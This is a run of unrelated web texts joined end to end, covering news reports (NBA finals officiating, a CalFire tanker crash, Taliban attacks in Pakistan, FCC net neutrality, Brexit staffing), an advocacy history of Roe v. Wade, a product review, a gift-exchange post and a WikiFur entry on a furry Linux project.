In humans, the situation may not be very different. Sugar stimulates brain pathways just as an opioid would, and sugar has been found to be habit-forming in people. Cravings induced by sugar are comparable to those induced by addictive drugs like cocaine and nicotine. And although other food components may also be pleasurable, sugar may be uniquely addictive in the food world. For instance, functional M.R.I. tests involving milkshakes demonstrate that it’s the sugar, not the fat, that people crave. Sugar is added to foods by an industry whose goal is to engineer products to be as irresistible and addictive as possible. How can we kick this habit? One route is to make foods and drinks with added sugar more expensive, through higher taxes. Another would be to remove sugar-sweetened beverages from places like schools and hospitals or to regulate sugar-added products just as we do alcohol and tobacco, for instance, by putting restrictions on advertising and by slapping on warning labels.Tyronn Lue laments that despite the many times LeBron James attacks the paint, he doesn't get as many foul calls as he should. (0:18)
CLEVELAND -- Cavaliers coach Tyronn Lue has been fined $25,000 for public criticism of officials following his team's 108-97 loss Friday night to the Golden State Warriors in Game 4 of the NBA Finals.
Lue was upset LeBron James took just four free throws despite repeated drives to the basket. The officials generally allowed both teams to get away with contact during the game.
"He never gets calls," Lue said Friday. "I mean, he attacks. Outside of Russell Westbrook, he's one of the guys that attacks the paint every single play. And he doesn't get a fair whistle all the time because of his strength and because of his power and guys bounce off of him. But those are still fouls, and we weren't able to get them. But we've got to play through officiating."
James has gotten to the foul line just 17 times in the four games, and he is in danger of averaging the fewest free throws per game in any series of his career. James is averaging 5.4 free throws per game this postseason, which is a career low. He averaged 6.5 free throws per game in the regular season, his lowest since he averaged 5.8 in 2003-04, his rookie year.
"It's been like that all year, for the most part," James said after the loss. "I'm not quite sure what I can do personally to get to the free throw line, but I've got to continue to be aggressive for our team.
"I'm getting hit, but the refs are not seeing it that way on my drives.... It's tough playing 46 minutes and only going to the line four times, as much as I attack the rim. So it's just a tough situation for our team."
The Warriors took 31 free throws in the game; the Cavs took 26. Golden State's number was padded by intentional fouling in the final minutes.
Asked further about the officiating, James simply said: "I'm going to save my 25K, OK?"Being my first gift exchange, I had no idea what to expect. Boy was I ever happy when this guy came in. Squishy bag. My username. I just knew it was my gift from the exchange.
First thing I saw was red, I had no idea what it could be. I pulled it out, squished it a little more than became pleased when I saw a face that I somewhat recognized. Is that an Octorock? Nah can't be. Or is it?
I flip it over a few times and find a zipper on the bottom of it. Upon opening the zipper I find a small compartment where I can put things. All I can think is "What the hell is this thing?" I stick my hand in it to see if I can find anything in it, and all of a sudden my finger pops out of his mouth. Of course I was surprised. I grab the bag it came in and search it fervently for answers towards what this mystical red octopus was. Turns out he is a tissue dispenser. Never have I been so pleased!
My kitten is well known for stealing tissue and chomping on it. Now I got myself a little "Octorock" to protect my tissue from my pesky kitten.
Thanks to whomever got me this gift, its very practical and very squishable. Not really sure if it is supposed to be a Octorock from Legend of Zelda, but he will be that to me. (ﾉ◕ヮ◕)ﾉ*:･ﾟ✧The FCC put out its draft proposal for reversing the 2015 net neutrality order today, and the oddest thing about it may be how little the commission has thought through what to do with basic internet protections.
Rather than undoing the net neutrality order wholesale, the FCC is essentially splitting it up into two parts: one part undoes the legal authority used to implement net neutrality — a classification known as “Title II” — and the other part asks whether or not it should keep the rules, like no blocking or throttling websites, that were implemented.
The draft is filled with more questions than ideas
“It is a very vague document that is probably designed to create as much flexibility as possible so they can do whatever they want when they ultimately come to vote on this,” Michael Cheah, general counsel for Vimeo, tells The Verge.
The proposal is primarily focused on undoing the Title II classification of internet providers, which it claims has hurt broadband investment, despite little supporting evidence. But that puts it in a very odd position regarding net neutrality — a position that, very likely, the commission is happy to find itself in.
By undoing the legal authority used to apply net neutrality rules, the commission effectively kills those rules at the same time. The commission could just let the rules die — it still might! — but it’s instead opening up questioning about whether or not it should try to keep them.
But there’s no question that, despite FCC chairman Ajit Pai’s constant proclamations of support for a “free and open internet,” whatever the commission chooses to do will have fewer guarantees that the internet will stay free and open.
“I don’t see how you get the core rules.”
The possibilities range wildly. At the most lenient, the FCC could choose to do nothing and implement no net neutrality protections at all. That’s a real possibility, as the commission seems pretty skeptical that internet providers could actually do anything to harm consumers or web companies.
In its draft proposal, the commission says there is “virtually no quantifiable evidence of consumer harm,” then goes on to ask questions like: has anything actually gone wrong? Are codified rules even necessary? And, “when is ‘throttling’ harmful to consumers?”
At the stricter end of the spectrum, the commission leaves open the possibility that it’ll implement some sort of rules to restrict internet providers from blocking apps and websites, throttling data speeds for specific apps and websites, and charging apps and websites for access to a fast lane for their data. The commission seems skeptical that most of these limitations are necessary, though it does explicitly state support for “no blocking” — in theory, at least.
This plan gives up the legal authority for tough rules — they’re just not possible
“We emphasize that we oppose blocking lawful material,” the proposal says. “The commission has repeatedly found the need for a no-blocking rule on principle... We merely seek comment on the appropriate means to achieve this outcome.”
And therein lies the big problem that the commission gets itself into — one that it will no doubt embrace. A 2014 court ruling found that the FCC does have some authority to implement these kinds of rules. But critically, implementing them in full is illegal unless they’re also using Title II.
“I don’t see how you get the core rules,” says Cheah. “Forget about the more nuanced things like the general conduct standard.”
So that necessarily means that the commission will have to implement more lenient net neutrality rules than what we got two years ago. If you were paying attention to the net neutrality debate back then, you might remember that this is why former chairman Tom Wheeler initially proposed allowing fast lanes — it seemed like the easiest way to get the rules passed without a dramatic, years-long fight like the one we’re seeing now.
This legal change presents a big problem for net neutrality advocates, as it means they’re going to have a harder time getting tough rules on the books. At the same time, it’s a good problem for net neutrality opponents, as there really is only so much the commission can do once it switches away from Title II.
The commission says it’ll wait to see what comments it gets
“It is difficult to establish such rules without a classification of internet service providers as common carriers [under Title II],” Pantelis Michalopoulos, an attorney who argued in favor of the FCC’s legal authority under the type of rules the commission is now returning to, told The Verge earlier this week. “The chairman will have to resolve that tension.”
During a call with reporters this afternoon, senior FCC officials didn’t have much of an answer on how they’ll do that. “This is something that we will be seeking comment on in the rule making proceeding,” one official said.
Basically |
as long as they were accompanied by a complicated system whereby minors could assert their privacy rights by requesting a hearing before a state judge on whether they were "mature" or an abortion was in their best interests (Bellotti v. Baird).
The next assault on Roe was directed at low-income women. In 1980 the Hyde Amendment, which prohibited Medicaid from covering most abortions, was upheld by the Supreme Court by a 5-4 margin (Harris v. McRae). The Court abandoned the neutrality required in Roe, finding that, for poor women, government could promote childbearing over abortion, so long as it did so by manipulating women through public funding schemes, not criminal laws.
Dissenting in City of Akron v. Akron Center for Reproductive Health (1983), Justice O'Connor called for a radical erosion of Roe and proposed that a lesser standard of constitutional protection for choice be established, called the "undue burden" standard, in place of the "strict scrutiny" test. By 1989, after the arrival of Justices Kennedy and Scalia and the elevation of William Rehnquist to chief justice, there were no longer five votes to preserve reproductive choice as a fundamental constitutional right. The Court's ruling in Webster v. Reproductive Health Services (1989) demonstrated this new reality when five justices expressed hostility toward Roe in differing degrees and essentially called for states to pass legislation banning abortion in order to test the law.
Three years later, in Casey, the strict judicial scrutiny established in Roe was finally abandoned in a plurality opinion of Justices O'Connor, Kennedy and Souter. Although the Court said it was not overturning Roe's central premise that abortion is a fundamental right, the Casey decision replaced the original "strict scrutiny" standard governing other fundamental rights for the weak and confusing undue burden standard. This opened the door to a host of state and federal criminal restrictions designed to steer women away from abortion and to promote the rights of the fetus throughout pregnancy. Over 300 criminal abortion restrictions have been enacted by legislatures in the past six years alone, none of which would have been constitutional under the original Roe decision.
The Four Pillars of Roe
The Roe opinion was grounded on four constitutional pillars: (1) the decision to have an abortion was accorded the highest level of constitutional protection like any other fundamental constitutional right; (2) the government had to stay neutral; legislatures could not enact laws that pushed women to make one decision or another; (3) in the period before the fetus is viable, the government may restrict abortion only to protect a woman's health; (4) after viability, the government may prohibit abortion, but laws must make exceptions that permit abortion when necessary to protect a woman's health or life.
Only two of the four Roe pillars remain today as a result of the Supreme Court's 1992 decision in Planned Parenthood of Southeastern Pennsylvania v. Casey. This decision is the culmination of a steady decline in constitutional protection for the right to privacy. A woman's right to choose is still constitutionally protected, however, the "strict scrutiny" standard was jettisoned in favor of a lesser standard of protection for reproductive choice called "undue burden." Under Casey, state and local laws that favor fetal rights and burden a woman's choice to have abortion are permitted, so long as the burden is not "undue." No longer does the state have to be neutral in the choice of abortion or childbearing. Now the government is free to pass laws restricting abortion based on "morality," a code word for religious anti-abortion views. States are now permitted to disfavor abortion and punish women seeking abortions, even those who are young and sick, with harassing laws.
Roe in the 21st Century
In 2000, eight years after the Casey decision, the Court agreed to hear another case that opened up Roe for reexamination. During that period, President Clinton had appointed two justices, Ginsburg and Breyer. The first challenge to Roe in the 21st century came in the form of a Nebraska ban on so-called "partial-birth abortion" brought by the Center for Reproductive Rights. The language of the Nebraska ban -- and the cookie-cutter versions passed in 30 states -- was sweeping and broad, and could have included virtually all abortion procedures, even those used in the early weeks of pregnancy. Publicly, however, supporters of these bans camouflaged this fact by using a term made up by the National Right-to-Life Committee --"partial-birth abortion"-- and pretending that the bans were designed to prevent doctors from using one particular procedure.
In a 5-4 vote in the case Stenberg v. Carhart (2000), the Court struck down the ban, finding it an unconstitutional violation of Roe and Casey by failing to include an exception to preserve the health of the woman and by imposing an undue burden on a woman's ability to choose an abortion.
In addition, the Court determined that the effect of the ban went well beyond prohibitions against so-called "late term" abortion, finding the ban to be so broad and vague that constitutionally protected abortion procedures performed before viability could be prohibited. The majority decision was joined by four justices, with four separate dissenting opinions filed by Chief Justice Rehnquist and Justices Scalia, Thomas and Kennedy. Kennedy previously had supported the right to choose abortion in the Casey decision.
In 2006 a unanimous decision written by the Court recognized the precedent that abortion laws must protect women’s health and safety. The case was a challenge to a New Hampshire law that prevented doctors from performing an abortion for a teenager under 18 until 48 hours after a parent had been notified. The law did not include an exception for medical emergencies. New Hampshire conceded that, under Casey, the statute was, in fact, unconstitutional when applied to teenagers facing significant health risk.
However, unlike prior cases, the Court did not strike down the law entirely, rather it sent the case back to the lower court where the law was finally repealed.
Whatever hesitations in ruling the 2006 Supreme Court had, they had dissipated by 2007 when Justice Roberts and Alito joined. In a 5-4 decision written by Justice Kennedy and joined by new Chief Justice Roberts and Justice Alito, the Court upheld the constitutionality of the federal "Partial-Birth Abortion Act of 2003." The majority held that the law was not vague, and unlike the ban at issue in Stenberg, the federal ban was not overly broad. Justice Kennedy wrote for the majority that the law includes a requirement that the physician intend to deliver the fetus beyond an anatomical landmark prior to causing fetal demise, thereby distinguishing the prohibited procedures from the "standard" dilation and extraction procedure, the most common method of abortion performed during the second trimester. Finally, in stark contrast the earlier Stenberg decision and other cases affording strong protection to women's health, the majority held that a health exception is not necessary because there is medical uncertainty as to whether the banned procedures are the safest and because alternative procedures exist. Justice Ginsberg authored a dissent joined by Justices Stevens, Souter, and Breyer, in which she wrote: "Today's decision is alarming. It refuses to take Casey and Stenberg seriously…And, for the first time since Roe, the Court blesses a prohibition with no exception safeguarding a woman’s health."
Ginsburg’s words are, to say the least, an ominous sign for Roe's future. Without Roe, life for American women would be thrown more than 30 years in reverse, returning them to the days when women could not fully control the number and spacing of their children. Without the ability to make this key decision, women will be denied opportunities to realize their future and take advantage of educational and career opportunities.
The world is looking to the U.S. to establish a vision of justice for the 21st century. It is not a time for our political leaders to divide this nation by turning the clock back on women's human rights.10 p.m. UPDATE: Cal Fire has confirmed the pilot in Tuesday’s crash has died.
The pilot’s identity has been withheld, pending notification of the family.
8 p.m. UPDATE: YOSEMITE NATIONAL PARK, Calif. (AP) – An air tanker fighting a wildfire near Yosemite National Park in Northern California crashed Tuesday, but there was no immediate word on the condition of the pilot, who was the only person aboard, officials said.
The plane went down at about 4:30 p.m. within a mile of the park’s west entrance, Yosemite spokesman Scott Gediman said. Rescue crews were working their way through difficult terrain to reach the plane.
@CALFIRE_PIO So sad! Thoughts and prayers to all from Colorado! — BCIMT3 (@bcimt3) October 8, 2014
Thoughts and prayers to our CalFire family and friends ❤️ http://t.co/rTqUXtUzYB — CAL-EDA (@CAL_EDA) October 8, 2014
Our Thoughts and Prayers are with the Hartford CT FD, CalFire California and Chicago PD tonight. — Worcester Box 4 (@WorcesterBox4) October 8, 2014
“It’s very rugged terrain,” said Janet Upton, a spokeswoman for the California Department of Forestry and Fire Protection. “We determined there was a crash, but they’re still trying to work their way through pretty rugged terrain to determine the status of the pilot. Obviously we’re hoping for the best, but the situation is very serious.”
The airplane, manufactured in 2001, is an S-2T air tanker, which is flown by a single pilot and has no other crew members. The tanker uses twin turbine engines and is capable of carrying 1,200 gallons of fire retardant, said another CalFire spokesman, Daniel Berlant.
A California Highway Patrol spokesman, Officer Steven Lewis, said CHP Sgt. Chris Michael witnessed the crash as he was helping to close state Route 140 where it enters the park.
“All the tourists and residents were being turned away,” Lewis said, when Michael reported that he had just witnessed “a bomber collide into the river canyon, the canyon wall, and watched it explode in flames and reported there was plane debris landing in the highway.”
The canyon wall is above the highway and the Merced River, Lewis said.
“It’s almost vertical canyon walls,” Lewis said, “and the road was cut in 100 years ago right along the river. Anything that falls from the top is going to fall right on the roadway.”
There were no reports of any injuries on the ground as a result of debris.
Don Talend, of West Dundee, Illinois, said he may have seen the plane go down. Talend and friends were vacationing at the park when they stopped to snap some photographs of the fire, which was several miles away.
He told The Associated Press by phone that he saw a plane flying low through heavy smoke near a burning ridge when a wing appeared to waggle or flip up.
The plane “disappeared into the smoke and you heard a boom,” he said.
“I couldn’t believe what I saw,” Talend said. “There was actually a ranger there behind us. … He had a look of disbelief on his face.”
The missing pilot is an employee of DynCorp., which provides the pilots for all CalFire fixed-wing aircraft and the maintenance for the department’s planes and helicopters, Upton said.
It was unclear if the pilot was flying to or from the fire or was in the process of dropping retardant.
The fire had broken out about 90 minutes earlier Tuesday near Route 140, which leads into the heart of the park. It had grown to about 130 acres by Tuesday evening and forced the evacuation of several dozen homes near the community of Foresta.
The National Transportation Safety Board and Federal Aviation Administration were investigating the crash and were expected to arrive at the crash site Wednesday morning, FAA spokesman Ian Gregor said.
FAA records show the plane is registered to the U.S. Forest Service, which originally provided the plane to CalFire, Upton said.
The last time a CalFire air tanker crashed was in 2001, when two tankers collided while fighting a fire in Mendocino County, killing both pilots, Berlant said.
The agency had another plane crash in 2006, when a fire battalion chief and a pilot were killed while observing a fire in a two-seat plane in Tulare County.
Copyright 2014 The Associated Press.
6 p.m. UPDATE: Typically one pilot is on board an S2T, per Cal Fire. It’s usually one of the initial planes used in a firefight like this. There are 23 strategically placed across the state.
5:45 p.m. UPDATE: The plane is confirmed to be a Grumman S2 Tracker tanker.
5:30 p.m. UPDATE: Cal Fire spokesman Daniel Berlant has confirmed it was a Cal Fire tanker that went down. We will be speaking live with Berlant on the CBS13 News at 6.
5:20 p.m. UPDATE: A plane has crashed in Yosemite National Park during the fight against the Dog Rock Fire, according to the National Parks Service.
There is no word on what kind of plane crashed, or who was onboard, or the status of the people on board. The plane did crash within the area of the Dog Rock Fire fight.
YOSEMITE NATIONAL PARK (CBS13) — A fire near Yosemite National Park has prompted evacuations on Tuesday.
The park issued an evacuation order for the Foresta Area of Yosemite because of the wildfire.
El Portal Road has been closed between the park boundary and the junction with the Big Oak Flat Road.
A Cal Fire strike team has been called in to respond.Two years ago, Harpswell native John Turner was walking on South Portland’s Willard Beach when he came upon a washed-up wooden lobster trap.
Something clicked for the young entrepreneur. He had already put out a small line of T-shirts and duffel bags, but he wanted to make something with more of a story – preferably a local story. The old-school trap was quintessential Maine, with its sturdy, brine-soaked oak slats calling up images of the dark North Woods, a fisherman’s predawn stoicism and the cold waters of the Gulf of Maine. He thought the grained, weathered wood could be crafted into the perfect pair of classic Wayfarer-style sunglasses, an accessory that is already drenched with plenty of attitude and nostalgia.
“I loved the idea of telling a story about Maine, and its heritage,” said Turner, who’s 26. “I loved the idea of turning something old, something salvaged, into a beautiful fashion statement. Fashion from Maine.”
Turner came up with multiple prototypes, some of which were built on a 3-D printer at a Biddeford design lab. He founded Traps Eyewear with Daniel Dougherty, a New Jersey transplant with retail experience and ties to the New York fashion scene. They kicked in about $30,000 each and bought a batch of 250 handmade wooden traps from the son of a deceased midcoast lobsterman. Then they hired a Detroit designer and a woodworker from Bath to craft what the duo believes to be the first pair of sunglasses made out of salvaged lobster traps.
Turner has since stumbled across other glasses with wooden features, but none made from the remains of one of Maine’s iconic crustacean catchers.
The wood is used to make the sunglasses’ temple pieces, which support the acetate frame made overseas and hold the glasses in place when tucked behind the wearer’s ears. Although the first pair was made by hand in a studio, subsequent pairs are cut by a machine lathe and then finished by hand.
The company is looking for ways to reduce the number of steps it takes to make the temple pieces without compromising quality. It took 100 cuts each to make the first batch, but the team recently found a way to reduce the steps by half.
The lenses come in a range of UV, polarized and coated mineral glass, as well as made-to-order prescription lenses.
The partners started selling their eyewear line last August with a launch party at Portland Trading Co. Since then, Traps has produced, placed and sold about 300 pairs of sunglasses and is now experimenting with wood and brass cuff links, with an eye toward expanding the brand into other forms of high-end retail wear, Dougherty said. The glasses are currently being sold in Rough & Tumble at 127 Middle St. in Portland and at Day Trip Society in Kennebunkport, as well as in a handful of specialty shops from New York City to Palm Beach to Tokyo.
BEYOND FLANNEL AND BEAN BOOTS
When they talk about the brand, Turner and Dougherty frequently describe their product as “premium” and the prices, which range from $240 for the hardwood brand to $285 for the Kennedy-inspired The Jack line, leave no doubt about which market they are targeting.
Case-in-point: The glasses got a major shout-out this summer from the upscale men’s style magazine Maxim.
Turner and Dougherty are targeting confident young customers with disposable income to spare, especially those who have summered in Maine and harbor a love for both the state and the sea. The Kennedy nautical style referenced by name in one of the company’s three eyewear lines is not an accident, Dougherty said. Think of the Life magazine cover photo of the young politician aboard the Victura, the boat that John F. Kennedy’s father gave him while he was a teen learning to sail during summers off Hyannis Port, Massachusetts, Dougherty said.
Related Mainers recycle lobster gear with a splash of creativity
Maine style does not have to be just oversized flannel shirts, Bean boots and camo, Turner said. To him, Maine means adding a bit of ruggedness and heritage to your style.
“Here, style has been taken hostage by the thought of what a Mainer looks like to the outside world, or at least what they think it looks like,” Turner wrote on the company blog. “Rarely are the words ‘Maine’ and ‘style’ used to talk about anything further than this year’s hunting catalog. We intend to change that.”
Share3 Doors Down bassist Robert Todd Harrell Getty Images
(CBS/AP) NASHVILLE, Tenn. - Robert Todd Harrell, bassist of the rock band 3 Doors Down, was charged with vehicular homicide on Sunday after causing a car crash that took the life of another man on the road Friday, according to police.
The accident took place last Friday. Harrell, 41, was reportedly under the influence of several narcotics including hard cider, prescription Lortab and Xanax, according to police reports.
The crash took the life of Paul Howard Shoulders Jr., 47, who was ejected from his pickup truck after the vehicle lost control. Police reports say he was not wearing a seat belt at the time of the crash.
Harrell was also charged for allegedly bringing drugs to jail. Authorities say he had hidden a bag of Xanax pills, 24 Oxycodone pills and four Oxymophorne pills during the search before entering the facilities.
According to reports the musician was held under a $100,000 bond. The 3 Doors Down website posted a statement saying "We are deeply saddened by the passing of Paul Howard Shoulders, Jr. Our hearts and prayers go out to his family and friends at this difficult time"
Harrell is scheduled to appear in court on Thursday.From WikiFur, the furry encyclopedia.
Furbuntu is a project that begun in February 2008 by Theyain Riyu to create a furry-oriented theme for the Ubuntu Linux operating system.
CreatureSystem or CreatureS is a Furry-orientated Linux-bases Operating system. and the new name of Furbuntu. It was started as a derivative of Ubuntu Linux, but on the 26th of April, 2008 it was announced[1] that the OS will not be based on any of the existing distributions, and so the name was changed to CreatureS. Besides a furry theme the system is expected to have furry-specific programs, some of which will be made by the team. No alpha versions of the OS or its components were ever released.
History [ edit ]
Originally it began as a project to create an entire Ubuntu-based furry-oriented Linux distribution, but was instead narrowed down to creating a furry-based theme for Ubuntu[1]; furthermore, Furbuntu was repositioned as a sub-project of CreatureS, or CreatureSystems, which is deemed as a genre of desktop operating systems tailored to the furry fandom and subcultures.
Contest [ edit ]
First Place winner of the Furbuntu Contest, by DavidStrife
In mid-February of 2008, a contest was held by Theyain for wallpapers, icons, and music. The first and second place winners of each category could end up having their work shown in the release of Furbuntu, while two overall winners would be choosen for first and second place.
The first place winner would win USD$200 and second place would win USD$50. As a requirement to enter the contest, all works were put under a Creative Commons license[2].
On May 15, 2008 winners were announced, first place going to DavidStrife, while second place went to Tsubasa. No future contests are planned in the near future.
Current state [ edit ]
A series of IRC meetings were called to both bring the project back to life and to work out issues with certain ideas for the theme[3][4][5]. The process appeared to have stalled as of 2009, but on the 18th of February 2010 it was announced[6] that the project is alive and that discussions are still taking place.
References [ edit ]Usually I am a little skeptical about off-brand controllers from brands such as Power A, but I was in need of a second controller. For $40 you get a pretty well built controller (not as solid feeling as the official Microsoft Xbox One Controller, but still much better than most). I decided to test it out for a while before posting a review. Currently I have logged around 15 hours with it in Halo 5 and I have nothing but positive things to say about it. It's never had one issue yet and the controls are very precise to the touch. This is easily the best controller that I have bought from Power A and will be buying another in the future if I ever need a third controller. It's also nice to have a backup controller that is corded just in case it is needed.
Read moreRICS says Northern Ireland must pay for its water to splash cash on improving the economy BelfastTelegraph.co.uk Domestic water charging should be introduced as part of measures to raise money for improving infrastructure here, it's been claimed. https://www.belfasttelegraph.co.uk/business/news/rics-says-northern-ireland-must-pay-for-its-water-to-splash-cash-on-improving-the-economy-34602408.html https://www.belfasttelegraph.co.uk/business/news/article34602406.ece/d9cac/AUTOCROP/h342/2016-04-06_bus_19453696_I1.JPG
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Domestic water charging should be introduced as part of measures to raise money for improving infrastructure here, it's been claimed.
Weekly Business Digest Newsletter
The Royal Institution of Chartered Surveyors (RICS) joined forces with other bodies in the building sector to argue that a lack of investment in infrastructure and housing could ultimately undermine the benefits of a lower rate of corporation tax.
And RICS suggested the controversial measure of introducing domestic water charges as a means of raising revenue which could be used for infrastructure.
Other business bodies - including the CBI - have also said domestic water charging should be introduced, but it faces strong opposition from politicians and the public.
Under current arrangements, businesses pay for their water use, but households do not.
The NI Executive's one-year budget for 2016/17 contained plans for capital expenditure in key infrastructure projects.
But the budget also refers to a cash terms reduction in resource expenditure of 12% by 2020.
RICS Northern Ireland director Ben Collins said: "Infrastructure investment and housing supply are crucial areas for the Northern Ireland economy. Without adequate, affordable housing and modern, functioning infrastructure, the ability to attract inward investment will be severely hampered.
"Northern Ireland's infrastructure is ageing and in need of significant upgrading.
"To enable the necessary investment to happen, we are calling for, among other things, an introduction of domestic water charging and case-specific use of public private partnerships."
Earlier this year, the Institution of Civil Engineers (ICE) added its voice to the call for water charges.
It said that Northern Ireland was the only region in the EU not to use water charging as a means of managing water consumption.
RICS joined forces with the ICE, the Royal Society of Ulster Architects (RSUA), Royal Town Planning Institute (RTPI) and the ACE (Association for Consulting Engineers) to make a call for infrastructure to be prioritised.
The groups held a debate at the MAC Theatre in Belfast yesterday with politicians from all the parties on the importance of infrastructure.
Richard Kirk, director of the ICE in Northern Ireland, said it was planning for future recruitment in the sector. "ICE has recently established an apprenticeship with the Government and employers to give our young people the opportunity to get involved with flagship infrastructure projects both at home and overseas - an opportunity to build our quality of life."
And Ciaran Fox of the RSUA also said the energy efficiency of existing buildings should become a priority.
"With existing buildings estimated to account for approximately 40% of a country's energy consumption, we are calling for all our political parties to set out clearly how they intend to help people cut their energy bills by improving the energy performance of their properties."
The infrastructure projects which have been highlighted as of importance for the economy here include the North-South interconnector - which aims to improve security of electricity supply on both sides of the border - a publicly-owned energy from waste facility and the maintenance of roads.
Belfast Telegraph1 of 6 View Caption
Steve Griffin | The Salt Lake Tribune Senators talk on the floor of the Senate as the curtain opens on the 2013 legislative seaso Steve Griffin | The Salt Lake Tribune The National Anthem is sung in the Senate chambers during the opening of the 2013 legislati Steve Griffin | The Salt Lake Tribune The National Anthem is sung in the Senate chambers during the opening of the 2013 legislati Steve Griffin | The Salt Lake Tribune Gray Miles, 2, peeks through the rails of the upstairs gallery of the Senate chambers durin Steve Griffin | The Salt Lake Tribune President of the Senate, Wayne Niederhauser, gives his opening remarks from the Senate cham Steve Griffin | The Salt Lake Tribune President of the Senate, Wayne Niederhauser, gives his opening remarks from the Senate chamTTP claim responsibility for separate attacks on ANP's Mian Mushtaq and PML-N's Amir Muqam.
PESHAWAR: Unknown gunmen shot dead a senior opposition leader along with two others in Peshawar on Sunday, police said, hours after a bomb attack near a PML-N leader’s car in Shangla killed five policemen.
The Tehreek-e-Taliban Pakistan (TTP) claimed responsibility for both attacks.
Mian Mushtaq, a former high-ranking member of Awami National Party (ANP), was in his car when he was attacked, senior police official Rahim Shah told AFP.
“Up to four gunmen had taken position on both sides of a road and as soon as Mian Mushtaq’s car passed they started firing and fled in the nearby fields,” Shah said.
“Mian Mushtaq and two others died in the firing,” he added.
The ANP is known for its outspoken views against the Taliban and backed military operations against the insurgents while it ruled the restive Khyber Pakhtunkhwa province for five years till March 2013.
Cricketer-turned-politician Imran Khan’s Pakistan Tehreek-e-Insaaf (PTI) has now formed a coalition government in the province but ANP leaders remain in the militants’ sights.
Amir Muqam survives IED explosion in Shangla
Earlier in the day two roadside bombs targeting Amir Muqam of the ruling Pakistan Muslim League Nawaz (PML-N) party killed five of his security detail in the Martong area of Swat valley, which the Taliban controlled from 2007-2009.
“At least five policemen were killed and four others were wounded,” senior police official Abdullah Khan told AFP.
The dead and wounded were travelling in the security car that was leading the other vehicles, he said.
DPO Shangla Gulzar Khan, confirmed the attack, which was later condemned in a statement by the prime minister’s office.
The DPO said Muqam had left his house in Chagam area of Shangla to solve a dispute between two rival groups in Martong, when two improvised explosive devices weighing two kilograms (4.4 pounds) each were remotely detonated minutes apart. A third unexploded device found at the crime scene was defused by a bomb disposal squad.
Muqam, an advisor to Prime Minister Nawaz Sharif, told AFP that he was safe but distraught over the loss of the men in his security detail.
“I thank God for saving my life. I am very sad over the loss of my people who gave their lives while protecting me,” he said.
He said that he was travelling in the area with some 15 vehicles in his convoy as part of campaign efforts for local elections.
The Pakistani Taliban, other militant affiliates and Al-Qaeda-linked networks all have strongholds in the country’s northwest, particularly in the semi-autonomous areas on the Afghan border.
Proud to be nominated in FIR against Chaudhry Aslam: TTP
TTP spokesperson Shahidullah Shahid admitted TTP were behind both attacks.
He said for a long time, ANP has been on TTP’s hit list and will continue to be so.
About Amir Muqam, Shahid said the now PML-N leader was previously part of Musharraf’s regime. He was attacked because both parties were against Taliban.
The spokesperson also said TTP was ‘proud’ to be nominated in the FIR against Chaudhry Aslam.
Read full storyA body likely that of a man last seen alive in 2002 was found buried in the front yard of his former home in Jefferson, and he was the victim of a homicide, police said.
Charles “Chuck” Woodburn was 51 when he is believed to have disappeared in 2002, said Maine State Police spokesman Stephen McCausland.
The state Medical Examiner’s Office is working to confirm the identification of the body.
Woodburn wasn’t reported missing until after his widow died in 2010.
Woodburn was married to Diane Darling and the two were living at 219 Neck Road in Jefferson when he disappeared.
Darling later married Robert Gaudette, who now owns the property and may still live there, McCausland said.
Acting on a tip, a team of detectives, along with cadaver-sniffing dogs from state police and the Maine Warden Service, searched the property at Neck Road on Aug. 27 and found the body buried along a stone wall on the property. A backhoe was used to excavate the site, exposing the skeleton.
Police are interviewing family and friends to try to piece together Woodburn’s movements to determine what happened before he disappeared.
David Hench can be contacted at 791-6327 or at:
[email protected]
Twitter: @Mainehenchman
ShareImage copyright PA
The government has been warned that the civil service has failed to recruit enough extra staff to deal with Britain leaving the European Union.
The National Audit Office said that there were still hundreds of posts to be filled, days before Brexit negotiations are scheduled to begin.
Prime Minister Theresa May is due trigger Article 50 on Wednesday.
The head of the civil service, Sir Jeremy Heywood, said it was "well placed" to deal with challenges ahead.
In its report, the NAO, which scrutinises government spending, said Brexit would "further increase the capability challenges" facing a civil service already struggling to cope with major projects. It said the government must show "greater urgency" in filling skills gaps in Whitehall.
'Not confident'
Its report said a third of the 1,000 roles created in the new Department for Exiting the EU and the Department for International Trade had yet to be filled as of February.
And the posts that had been filled were done so "mostly by transferring staff from elsewhere in government".
The spending watchdog said many of the specialist skills needed for the negotiations were in short supply and departments were competing against each other to recruit the right staff.
National Audit Office chief Amyas Morse said the government must prioritise its activities and be ready to stop work on projects "it is not confident it has the capability to deliver".
He said: "The civil service is facing ever-increasing challenges.
"The work of government is becoming more technical, continuing budgetary restraint is putting pressure on departments and the decision to leave the EU means government will have to develop new skills and take on work previously done by others.
"Government has gaps in its capability and knows it must do more to develop the skills it needs. It is making plans to do so but the scale of the challenge ahead means greater urgency is needed."
Rob O'Neill, of the senior public servants' union the FDA, said the report was "a wake-up call for ministers".
"Departments are being asked to take on more and more work even as staff numbers fall while ongoing pay restraint chips away at their ability to recruit and retain the brightest and best."
But the head of the civil service, Sir Jeremy Heywood, said the organisation could cope with Brexit and the government's other priorities.
"We are focused on delivering this government's commitment to leave the EU and get the very best deal for the UK.
"We are equipping ourselves with the right people and the right skills across government to make this happen," he said.Oregon's mental healthcare crisis fails most in need Copyright by KOIN - All rights reserved Jason Peterson, 32, was shot and killed after an altercation with a Portland business owner, February 20, 2017. (Facebook) [ + - ] Video
Andrew Dymburt - PORTLAND, Ore. (KOIN) --- Hundreds of thousands of Oregonians deal with mental illness, but the state's healthcare system isn't able to keep up with their needs.
One of those people suffering from a mental illness was someone who might have just been another nameless, faceless homeless person who died on the street.
But this man had a name, a family and a story. Jason Peterson was 32 when he was shot during a confrontation with a Portland business owner in February.
"People need to start realizing, hey, that's someone's brother – maybe that was someone's husband – you don't know who they are," Jason's brother Justin Peterson said.
Jason never chose to be homeless and never turned to drugs, but battled schizophrenia for years. The depths of his mental illness pushed the once-rock climbing, adventurous brother, son and friend to a life on the streets.
"I think they just don't understand. They just think ‘Oh there's another able-bodied person on the streets.' They don't understand what they're going through and even I don't understand what he was going through," Justin said.
"People need to start realizing, hey, that's someone's brother – maybe that was someone's husband – you don't know who they are." -- Justin Peterson
High poverty, high unemployment, high homelessness and high rates of child mistreatment are pushing the mental health crisis to a critical mass.
"As our population has become more distressed and our mechanisms for treating mental illness have become more distressed, we've come to a point where we're really in a crisis now," OHSU Director of Child Psychiatry Doctor Ajit Jetmalani said.
While Oregon has average access to care compared to other states, the overall crippling state of mental health is becoming a state of emergency.
In Oregon, 624,000 people have a mental illness. That's almost 21% of all Oregonians, or 1 in 5. Federal and state health care budgets can't seem to keep up.
